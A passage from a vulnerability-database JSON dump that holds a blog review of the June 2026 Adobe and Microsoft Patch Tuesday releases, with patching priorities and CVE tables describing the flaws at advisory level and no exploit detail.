\u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "89787295-178b-4963-b428-e24ace576f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48562", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  